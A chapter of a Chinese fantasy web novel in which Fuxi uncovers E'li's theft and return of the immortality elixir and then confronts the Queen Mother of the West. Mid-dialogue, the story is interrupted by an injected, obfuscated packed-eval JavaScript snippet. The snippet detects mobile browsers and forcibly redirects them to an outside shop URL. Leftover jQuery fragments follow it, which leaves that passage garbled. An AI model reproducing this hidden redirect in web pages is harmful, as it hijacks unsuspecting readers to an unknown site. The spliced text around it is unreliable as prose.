文趣网 > 其他小说 > [洪荒]山海有她 > 31.第三十一章
    岂止是巧,昆仑山不死药的秘密连开明都蒙在鼓里,然而眼前的兽人群却像是早已接到了消息。

    扶羲恍然,“不好,有人要逃!”

    “快走!”空镜中,仪玦也似想到了什么,拽起冰夷上了云层。

    扶羲心念一转,空中水纹波动,出现一只雪白的兔子。

    白兔在宫中沿着墙角狂奔,猛一转角,遇到了一队巡逻守卫。它一溜烟地翻上了屋顶,速度极快,像一阵风一般,只余几根晶莹的白毛落在了守卫身上。

    “呸!这是哪里来的骚毛?”打头的守卫一口唾掉了飘到嘴里的兔毛。

    “老大别生气,那三殿下身材瘦削,不公不母,一定是在您面前自惭形秽,所以才不肯脱衣服的。”一守卫亦步亦趋跟在领头的身后宽慰。

    “哼,钦原那鸟东西,不配合老子,下次有他好看!”领头守卫又啐了一口。

    身后守卫凑在耳边小声道:“要我说,这上面不是为难人吗?每个人都扒光,那还不得长针眼?”

    “呸!这是长针眼的事吗?”领头守卫抬手就是一耳刮,“一会儿你去,给我扒光那小白脸,看看他究竟有何妙用,竟让王母留了他两夜。”

    身后守卫捂着半边红霞脸一个劲地点头:“是是是。”

    殊不知他们扬言要扒光的人,此刻正在墙头上侧耳聆听。

    守卫刚走,白兔就一跃而下,利剑一样直奔反方向而去。

    扶羲心道:果不其然,是他!

    回顾白玉京近来发生的一切,每次她去兴圣宫都有他的身影,想必从她假吞不死药时,他就发现了端倪。如今偷了药,为保万全将药藏匿在身上,事后再趁乱伺机逃跑。

    只是,这几日他寸步不离白玉京,如何能将消息递出去?又是谁在帮他搜罗这一大帮人?

    昆仑山脚下的兽群,形态各异,一看就来自不同地方。究竟是谁能在这么短的时间内将他们集结到此处?

    如此费心费力,难道只为一颗不死药吗?

    她心中疑团愈盛,再看讹离奔走的方向似乎不对。

    他不是逃跑下山?竟是要去找信岳。

    然而,白兔“咻”地蹿入一处矮墙,消失了。取而代之,出来的是一位素衣女子——风止戈?

    讹离他用了幻形术?

    只见他行色匆匆步上玉阶,抬手敲门道:“信岳,在吗?”

    模样举止竟与风止戈本人无丝毫之差,就连声音都一模一样。

    屋内无人应答,他兀自推门,熟稔地找到一个玉盒,手掌微动,一个豌豆大的赤色丹丸赫然出现其中。

    他端着那玉盒,一动不动,也不知心里在想什么,过了许久,才“啪嗒”一声合上。

    正在此时,外间传来一阵窸窸窣窣的脚步声,讹离猛然变回白兔,“咻”地从后窗逃了出去。

    他这是……来还药的?

    “真是奇了,这药怎么自己回来了?”风止戈一进门便看到了玉几上的锦盒。

    她轻嗅了嗅,两眼登时放出奇异的光芒,“是真的!信岳,王母有救了!”

    信岳拿过锦盒,却被锦帕上的什么东西攫住了目光。

    风止戈道:“究竟是谁?怎么又把药送回来了。”

    信岳手指微颤,不动声色地捻掉白毛,道:“找回来便好,我去禀告王母,这药还是得还回去,它原本就是赤凰的。”

    风止戈张了张唇,最终什么也没说。

    信岳刚出门就碰上了整装待发的陆吾,浩浩荡荡竟有数万人,朝正门而去。

    他二话不说,紧着步子跟了上去,“陆吾,出什么事了?”

    陆吾獠牙外露,低吼的咆哮声自喉咙深处发出,“内有贼!外有患!我倒是要看看这帮人究竟想干什么!”

    扶羲也不由为白玉京的状况捏一把冷汗。不过,好在药回来了。

    外面的兽人虽多,看陆吾胸有成竹的样子,想来以武力解决不是什么难事,只是如此难免激起众怒。

    正如那群兽人所言,昆仑并不缺稀世珍宝,何以要骗他们呢?难道那些东西都进了开明腰包?如果是这样,那他胆子也太大了,比她还大。

    不对,白玉京到处都是灵眼,尤其是山门处,连赤凰的扶光殿都有一只,若当真开明擅作主张,随意愚弄兽人,王母岂会不知?

    她心念一转,朝灵眼试探,想看看此时的王母在做什么。

    然而,灵眼没动,她倒是动了。

    又是一番疾风席卷,比起来时,她此刻倒是平静许多,像是悬着的心终于落了地。谎言已被戳破,打也好骂也罢,她都受得住。

    只是沃野的好日子看来是到头了,青兽虽然黏人,不过她喜欢,也不知道还有没有机会再见。

    心里胡乱想着,人已趴在地上,眼前是一衣袍角,金灿灿黄线刺得她眼睛疼。

    “扶羲,我倒是小瞧你了,敢当着我的面耍花招?”王母容光焕发,顶簪戴胜,一改先前颓靡之像,眼里迸发着一种光,一种万物皆归我所有的笃定与狂喜。

    扶羲垂下眼帘,避开那摄人心魄的光芒,“是我的错,让您失望了。赤凰已经走了,我就是片做事不知分寸,烂泥扶不上墙的破叶子,不值得那颗神药,还是给王母合适。”

    王母轻笑一声,“你可比赤凰强多了,这么能屈能伸,不愧是东华教出来的孩子。”

    她暗自嘀咕,怎么总是叫神木东华呀?何况这又关扶桑什么事,这难道不是她从小野到大的智慧吗?

    忽而,手臂吃痛,被人一把提起,跌入了一个软榻。

    她这才看清,殿内还有一人,是方才告别陆吾的信岳,双手捧着一枚锦盒。

    他还真是……扶羲犹自思忖着应对之策,然而下一秒,王母说出的话却大出所料,“听到了吗?信岳。我本来是不想给那老姑婆的,奈何有人不稀罕,你就拿走吧。”

    “这……”信岳看了她一眼,面露难色,“我不能收,赤凰妹妹之前为了救载天山时引动了天火,才变成如今这样。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17751863|207805||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    何况,这药本来就是她的。”

    “我说拿走就拿走,不必废话!赶紧走!在我反悔之前。”王母神色骤变,宽袖一挥,信岳已消失不见。

    扶羲突然明白了什么,粲然一笑。

    王母皱眉看了她一眼,“都快变成疯子了,还能笑得出来?还是说在你疯病发作之前会先变傻?”

    扶羲彻底放松,笑看向对方,“王母,其实那日我吞假药,你不是没看出来,对吧?”

    王母微怔,眸光又冷了几分。

    扶羲却觉得这冷意让她心头暖洋洋的,“王母用药,固曾用药,我也用药,奈何神药只有一颗,你想救赤凰,也想救他们。可凡事总有个先来后到,你是最讲规则的,所以还是给了我,药给了我,选择权也给了我。所以,你看出来了,但没有阻止。”

    王母唇角微勾,“喜欢耍小聪明这点,倒是一直没变。”

    扶羲问道:“讹离也是你故意留在身边的?”

    王母手掌一下一下拍打着玉案,好半晌才长叹出声,“养了五个义子,没想到最聪明的反倒走的最早。”

    “那昆仑山角脚下的兽人群,是否也早有应对?”扶羲问出了心中所虑。

    王母道:“乱闯昆仑者,死。”

    扶羲闻之一怔,却始终没有从王母脸上看出一丝松动的神情。又想到方才陆吾带了数万神兵甲士,心中惊疑:难道这就是她的应对之策?

    她心中大为骇然,“既然白玉京只有一枚不死药,为什么不告诉大家?那些老弱病残已经够惨了,为什么还要搜刮他们身上最后的银钱?”

    “好哇!东华养的好孩子,又来质问我了?”王母挑眉。

    扶羲捂着灼热的心脏,痛呼道:“王母,他们都是无辜的!”

    王母轻哼一声,“无辜?谁无辜?那些兽人生来就有奇功异能,或能上天,或能入海,或力大无穷,或灵巧无比,这些都是寻常人没有的。他们求长生,寻常人又求强壮,人人不懂知足,到处求神问药,神又有何辜,要承担这些期望?”

    扶羲只觉胸口发闷,体内似有无数火苗抽空了肺腑,火焰争前恐后向喉头袭来,她张了张干裂的口唇,嘶哑道:“我不懂,用不死药做幌子引他们倾家荡产来朝拜,究竟是为了什么?”

    她费力挣扎着,眼皮颤动,恍惚间看到王母掌中一团深蓝色幽光在吸引着自己。然而,她动不了,实在太痛了。王母也不说话,好似在看她又好似闭着眼睛,那深蓝幽光忽明忽灭,犹疑不定。

    “赤凰!住嘴!不可对王母无礼!”

    玄女忽而闯进大殿,跪伏在地,“王母,不知者无罪,求您看在她一片仁心的份上,救救她吧,儿臣求您了。”

    扶羲听到了几声啜泣,鼻腔一热,她蹭了蹭,晕开了一片鲜红。

    “呵!不知者无罪?不知就该问,而不是悖逆犯上。什么一片仁心,不过是与那老姑婆一般的黑白不分。”

    玉阶之上,金衣拂袖而去,唯余那抹幽蓝还在闪闪发光。